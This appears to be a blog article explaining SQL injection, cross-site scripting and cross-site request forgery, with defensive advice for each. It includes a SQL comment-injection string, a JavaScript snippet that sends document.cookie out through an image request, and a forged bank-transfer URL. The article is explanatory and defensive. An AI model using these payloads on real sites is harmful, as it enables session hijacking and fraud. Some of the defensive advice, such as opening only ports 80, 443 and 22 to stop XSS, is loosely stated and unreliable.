Defense against Common Web Attacks

Image for post
Image for post

The Internet is a powerful tool that connects us with users from across the globe. However, the might of the Internet has also made it vulnerable to abuse. Hackers can launch various kinds of web attacks to obtain critical and sensitive information, such as bank accounts, health records, and trade secrets. Common web attacks include script injections, SQL Injections, DDoS (Distributed Denial of Service) attacks, DNS hijacking, port vulnerability scanning, brute force password cracking, XSS and CSRF attacks. In this article, we will look at some of these attacks in detail and introduce some methods to protect against these attacks.

SQL Injection

Assume that the URL to a list page is in the following format:

By accessing this URL, you can obtain all the completed orders recorded on this user list. Then, you can see that the code for accessing the page on the backend, which looks like the following: $sql = 'select * from orders where status = \'' . status. '\' and userId = \'' . userId;

The statement above is invulnerable as the filter condition “userId” only allows you to query your orders. However, when a request is in the following format:'--, the concatenated statement may look like the following: $sql = 'select * from orders where status = 'finished'--and userId =' xxxx ';

Given that “ — “ is used for commenting in databases, the filter condition “and userId=’xxxx’” will not work in this case. By executing this statement, hackers can obtain the data about any completed orders on this website.

To prevent SQL injection attacks, follow these simple steps:

  • Check all parameters thoroughly.
  • Escape SQL wherever SQL parameter transfer occurs and always escape SQL-sensitive characters.
  • Do not directly concatenate strings.

Script Injection

By initiating script injection attacks, hackers can inject Trojan programs, modify page content, redirect users to other websites, route traffic, and collect unauthorized information.

Cross Site Scripting (XSS) attacks

Consider a website that supports comments and replies. Suppose someone enters the following script in the comment box:

var i = document.createElement('img');
i.setAttribute('src', ''+document.cookie);

When other users view the submitted comment, the hacker can obtain cookie information about the user (including session ID). The hacker can then perform operations allowed only for the original user by loading cookies from a script.

To prevent script injection and XSS attacks, you should ensure the following:

  1. Only open ports required on the server, such as ports 80, 443 and 22.
  2. Always check parameters, and adopt HTML escape for content submitted on the page.
  3. Use URL encode escape for content submitted through the URL.
  4. Set up human-machine identification (such as by using verification codes) at the login and sign-up entry-points.

Cross-Site Request Forgery (CSRF)

Though CSRF is less notorious, many websites suffer from CSRF vulnerabilities. Programmers first cited it as a security threat in 2000. However, it did not attract attention in China until 2006. In 2008, reports emerged that multiple large communities and interactive websites in and outside of China suffered from CSRF vulnerabilities, including Baidu HI,, Metafilter, and YouTube. Even today, many websites on the Internet lack adequate protection against CSRF, making it a significant threat to network security.

The following diagram explains the principle of CSRF attacks:

Image for post
Image for post

The following example (abstracted from the internet) further illustrates the process illustrated in the figure.

Bob saves his money in a bank. Bob transfers USD $100,000 USD to the account bob2 by sending the following request to the website of the bank http://bank.example/withdraw?account=bob&amount=1000000&for=bob2. Normally, when the website receives the request, its server verifies if the request is from a valid session. Only then can Bob log in to his account successfully.

The hacker Mallory also has an account in the same bank, and he knows that he can transfer money through the URL above. Then, Mallory can send the following request to the website of the bank: http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory. However, this request will not work as the request originates from Mallory and not Bob and it cannot pass security authentication. To circumvent the authentication, Mallory tries to steal Bob’s authentication information with a CSRF attack. Mallory injects the code (src="http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory") to the website, and induces Bob to access the website through spear phishing. Accessing the website sends the above URL to the bank server from Bob's browser, and the cookies stored in the browser are sent to the server along with the request.

In most cases, this request will fail as Bob’s authentication information is still missing. However, this information will remain in the cookies of the browser if the session between the browser and the bank website has not expired. This could happen a few seconds after Bob has accessed the website. If this is the case, the URL request will receive a response, prompting the transfer of money from Bob’s account to Mallory’s account without Bob’s knowledge. Later, when Bob queries the bank for transfer logs, he will notice money missing from his account. He will not be able to find any attack records but only a valid transfer request authorized by himself.

To defend against CSRF attacks, you can implement the following steps:

  • Verifying the HTTP Referer field
    Referer is a header field defined by the HTTP protocol. It records the source address of the current HTTP request. Through Referer, you can easily identify the source of the current request to implement basic protection. However, it is possible to forge it if you are using IE 6 because the requester initiates Referer.
  • Ensuring correct usage of GET
    We use GET when we do not need to make changes to resource attributes such as viewing, enumerating, and displaying. Since the URL displays the GET parameter, it is easy to use but also suffers from poor security. Thus, you should avoid opening insecure ports using GET.
  • Appending a token to the request address and verify the token later
    In addition to using GET correctly, you can use non-GET requests (such as POST) to create, modify, and delete resources as well as to perform some other sensitive operations. In the meantime, you need to generate a unique token for each user, store the token in a cookie or local storage and append it to POST requests. However, this method is defective as XSS can easily hack users’ cookie or local storage.
  • Adding a custom attribute in the HTTP header and verify the attribute later
    Similarly, this method uses tokens for authentication. However, it does not append tokens to HTTP requests as parameters but appends them to a custom attribute in the HTTP header. By using the XMLHttpRequest class, you can append the csrftoken HTTP header attribute to all requests of this class at one time, while assigning token values to the attribute. This prevents the system from displaying the address requested through XMLHttpRequest in the address bar of the browser, which in turn helps stop the leakage of tokens to other websites through Referer.
  • Using pseudo-random numbers for different lists
    Different lists contain different pseudo-random numbers. In fact, multiple popular open-source web frameworks, such as Drupal for PHP and Flask for Python, follow this practice. Here are the operating principles of pseudo-random numbers:
  • On the generation of a page list, the backend server generates a pseudo-random number, places it in a hidden field of the list and caches the pseudo-random number on the backend.
  • Upon submitting the list, the backend server verifies that the pseudo-random number is correct and in working condition while deleting the cached pseudo-random number.


Follow me to keep abreast with the latest technology news, industry insights, and developer trends.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store